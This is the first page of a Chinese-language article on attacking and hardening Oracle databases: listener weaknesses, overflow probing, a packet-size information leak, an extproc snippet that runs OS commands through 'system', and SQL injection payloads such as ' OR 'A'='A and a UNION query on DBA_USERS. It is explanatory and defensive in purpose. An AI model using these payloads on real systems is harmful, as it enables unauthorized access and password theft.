分享
 
 
 

从黑客角度检验oracle数据库

王朝oracle·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

一 State of Oracle Security (oracle的安全状态)

1 来之媒体的报道:

超过十分之一的于internet上公司数据库有安全隐患。一份来之750家美国数据库开发商开始对数据库安全表示忧虑。

2 黑客世界的秘密:

讨论会对数据库被黑的报道增多。

– Blackhat, Defcon Expliots 蠕虫侵蚀着数据库

– Alpha Voyager

– Spida worm

攻击oracle的白皮书

3 oracle网站-Alerts Web page

http://otn.oracle.com/deploy/securi...Info&alerts.htm

Prior to July 2000

-One vulnerability acknowledged by Oracle

From July 2000 to August 2002

-41 vulnerability reports on the Oracle website

Vulnerabilities reported on

SecurityFocus.com

-About 75 vulnerabilities reported about Oracle

4 防火墙后边神秘的oracle是安全的

大多数的折衷安全是内部工作的结果

内部威胁是最危险的

数据库中的非特权用户

5 面对这样状况我们要做什么

对漏洞的修复

警惕风险和威胁

找到正确的解决方案

二 Securing the Listener service

1 监听(listener)的脆弱

监听是客户端和数据库的代理

重要性:

i) 分离了鉴定和审核

ii) 以一个独立的进程运行

iii) 接受命令执行数据库的外部任务

监听服务的脆弱性

在客户端和数据库建立的连接进程中,监听作为一个代理。客户端指向对监听的一个连接,监听依次来和数据库进行连接握手。

问题存在于监听分离了鉴证,被外部数据库控制管理。监听作为一个独立的进程,在过去称为UID,接受命令执行任务。

2 监听服务的安全问题

带有password的监听是安全的

-默认配置是无

-lsnrctl设在password

必须建立一个健壮的password

-对暴力破解是不易攻击的

保护好listener.ora文件

-password存储在这里

不要远程管理监听

-在网络上password是不加密的。

如何对监听进行安全控制:

首先:在监听服务中设置passwod,许多DBA甚至没有意思到在必须在监听服务中设置password,监听服务接受远程的命令,如果你没有设置,任意人都可以发送命令。

两种设置方法:

1) 使用监听控制实用工具 – lsnrctl.

2) 在listener.ora文件中设置。

你必须设置一个强壮的password,一个不少于8位用数字和特殊单词组成的。如果设置比较脆弱,黑客程序将会试出你的密码。

Password是存在listener.ora的文件中,如果用户可以读取,可以利用password日志远程的监听。

同时也推荐你不要远程管理listener,因为密码在网上被明文传播,有可能被监听。推荐你只用来进行连接。

监听命令:

-LSNRCTL> help

The following operations are available

start stop status

quit exit set*

show*

password rawmode displaymode

trc_file trc_directory trc_level

log_file log_directory log_status

current_listener connect_timeout startup_waittime

use_plugandplay save_config_on_stop

可以通过set password来进行设置。有两个问题在password中:

password是没有lockout feature。命令审核是和标准oracle的审核数据是分开的。Password是不过期的,因为没有passwod的管理特性。

3 监听包(listener packet)

当一个命令输入到监听控制器中会发生:

向监听发生一条命令,如果监听是远程的,命令通过网络传播,上图是发送的数据包,我们可以看到报头中一些特殊的字符。在报尾可以看到listener要执行的远程命令,在这个例子中:

COMMAND=status

三 listener attacke demo

http://www.jammed.com/~jwa/hacks/security/tnscmd/

1 缓冲区溢出:

覆盖堆栈的内存,执行恶意的代码。

监听服务的缓冲区溢出:

1) 一个连接字符串的例子:

– (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HO

ST=)(USER=))(COMMAND=status) (SERVICE=LIST80)(VERSION=135294976)))

2) 寻找缓冲区溢出

改变适当的值看看会发生什么情况

– Try USER= with 4,000 Xs after it

– Try SERVICE= with 4000 Xs after it

– Etc…

黑客是如何发现缓冲区溢出的:

当一个命令发生到监听服务时,黑客试图在连接字符中加很长的字符串,例如发生USER=一个很上的字符串。如果数据库开发人员只为username分配了一个1024字节长的单元,当发送超过了1024个字节,其他的字符将覆盖后边的单元。所以程序要能自能的对长度进行检查。

2 监听器服务缓冲区溢出

i) Oracle 8.1.7

发生1k的字节COMMAND= dwon机

超过4k会使系统崩溃。

ii) oracle 9.0.1

发生1k的字节SERVICE=

3 利用报头区的值

典型的命令:

– .T.......6.,...............:................4.............(CONNECT_DATA=.)

垃圾字符描述了报头的信息

– Offset to data

– Size of connection string

– Size of packet

– Type of packet

4 窃取监听命令

发生一下的命令:

– .T.......6.,...............:................4.............(CONNECT_DATA=.)

改变报头表明40字节

– ......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_

STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DAT

A=.)ervices))CONNECT'))(ERROR=(CODE=3 03)(EMFI=1))))

改变报头表明200字节

– ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)

(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNE

CT_DATA=.)ervices))CONNECT_DATA=(SID=orcl)(global_dbname=te

st.com)(CID=(PROGRAM=C:Oraclebinsqlplus.exe)(HOST=anewman)

(USER=aaron))')) (ERROR=(CODE=303)(EMFI=1))))

如果你伪造数据包的大小,监听将随意返回任何数据在它的命令字符中将超过你发生的字符长。例如一个用户上交了100字符的命令,而对你的返回要10字符,监听将先返回10字符对你的原先的拷贝,但这样的返回不会终结,还会返回

90个先前命令的字符。可以获得username,当然这样是难的,不过这样的危险还是存在的。

6 外部程序

动态库和共享lib中的函数

能被pl/sql调用的

通过创建lib和packages进行设置:

– CREATE LIBRARY test AS ‘msvcrt,dll’;

CREATE PACKAGE test_function IS PROCEDURE

exec(command IN CHAR);

CREATE PACKAGE BODY test_function IS

PROCEDURE exec(command IN CHAR)

IS EXTERNAL NAME “system”

LIBRARY test;

有许多安去问题和外部服务进程有关,Xprocs允许在oracle中创建函数,参照DLL或共享库文件在操作系统上。这个很强的特性使得数据库能任何操作系统可以做得事情。当然权利越大责任也越大。

创建一个Xproc可以指向操作系统的任何一个dll,使得你可以执行操作系统的命令。同样象获得数据库服务器的资源那样,来获得系统资源。

第一关心的是你有没有给一个用户creat library和create procedure的特权。

7 远程回调外部进程

非‘正式’支持

但它很有效

ExtPorcs 是监听的另一个连接点

– SID_LIST_LISTENER =

– (SID_LIST =

– (SID_DESC =

– (SID_NAME = PLSExtProc)

– (ORACLE_HOME = E:oracleora81)

-(PROGRAM = extproc)

ExtProc任何审核一个用户

――它是无效的!!!!!

8 默认设置-对外进程

自动配置

-Oracle 8i –YES

-Oracle 9i-NO

Call listener

-Do not create ExtProc as another listener endpoint

-Create its own entry in the listener.ora file

三 Oracle in a Web application

1 绕过防火墙的攻击:

防火墙的配置:

– Block access through port 1521

– Only allow traffic to port 80

– Block UDP as well as TCP

SQL 注入

– Not specific to Oracle

-a web programming problem

许多管理都认为防火墙的数据库是安全的。及时是你的防护墙配置是很恰当的,也可以通过web应用程序进行攻击。这些攻击主要是由于开发应用程序者一些错误的编程所致。

我们可以发现许多站点在这个方面都很脆弱。虽然因数据库不同攻击而异,但基本问题还是相同的对所有的数据库来讲。

最简单的一个检验你的数据库是否脆弱,是通过嵌入一个请求在没有地方,然后来验证结果。有些站点会返回语法错误。而许多只是捕获了错误,没有报道。当然这些站点仍然有脆弱,但是这些可以不被利用如果你不过任何错误消息发送反馈信息。

2 How does it work

修改请求

改变这样的查询:

– Select * from my_table where column_x = ‘1’

To: – Select * from my_table where column_x = ‘1’

UNION select password from DBA_USERS

where ‘q’=‘q’

exploit是如何工作的?它是通过改变一个sql语句成另为一种,例如上面的例子,一个简单查询变成了2个查询。

你可以嵌入第二条命令在查询中在其他的数据库中,Oracle不运行这样做,而代替的是攻击者需要去补充查询请求的结尾。

注意结尾的‘q’=’q’,这样用的原因是我们可以处理第二条查询,ASP将加他加入网页的结尾,这条语句值是真的。

3 Example JSP page

Package myseverlets;

<….>

String sql = new String(“SELECT * FROM

WebUsers WHERE Username=’” +

request.getParameter(“username”) + “’

AND Password=’” +

request.getParameter(“password”) + “’”

stmt = Conn.prepareStatement(sql)

Rs = stmt.executeQuery()

Exploiting the problem is much simpler if you can access the source of the web

page. You should not be able to see this data, however there are many bugs that

allow you to view the source, and I’m sure there are still lots that have not yet been

discovered.

The problem with our ASP code is that we are concatenating our SQL statement

together without parsing out any single quotes. Parsing out single quotes is a good

first step, but its recommended that you actually use parameterized SQL statements

instead.

4 有效的输入

如果用户和密码设置为:

– Username: Bob

– Password: Hardtoguesspassword

sql语句: – SELECT * FROM WebUsers WHERE

Username=’Bob’ AND

Password=’Hardtoguess’

这是我们一个典型的检验机制在登陆到web site上时,然后通过select语句和数据库进行匹配,如果匹配建立,用户被鉴别。如果在我们的代码中记录集合为空,将准备一个无效的username或者password,登陆被拒绝。

5 黑客的输入

代替password的输入:

– Aa’ OR ‘A’=‘A‘

相应的sql语句:

– SELECT * FROM WebUsers WHERE

Username=’Bob’ AND Password=’Aa’ OR

‘A’=‘A’

黑客已经进入了数据库。

6 Selecting from other Tables

To select data other than the rows from the

table being selected from

UNION the SQL Statement with the

DBA_USERS view.

这是另一个例子取得数据从其他的表中,这与当前的查询无直接联系。最好的方法是查找屏幕中包含选项的动态列表。如果这个sql只是注意一个单值,黑客不能得到其他数据。

而且一些小技巧单一查询变成2个查询或者是把他们组合起来,这有点难道,你要匹配列数还有列的数据类型。然后一些服务器提供你一个错误的消息,使得这项是可行的。一些Error类似为:

Number of columns does

[1] [2] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有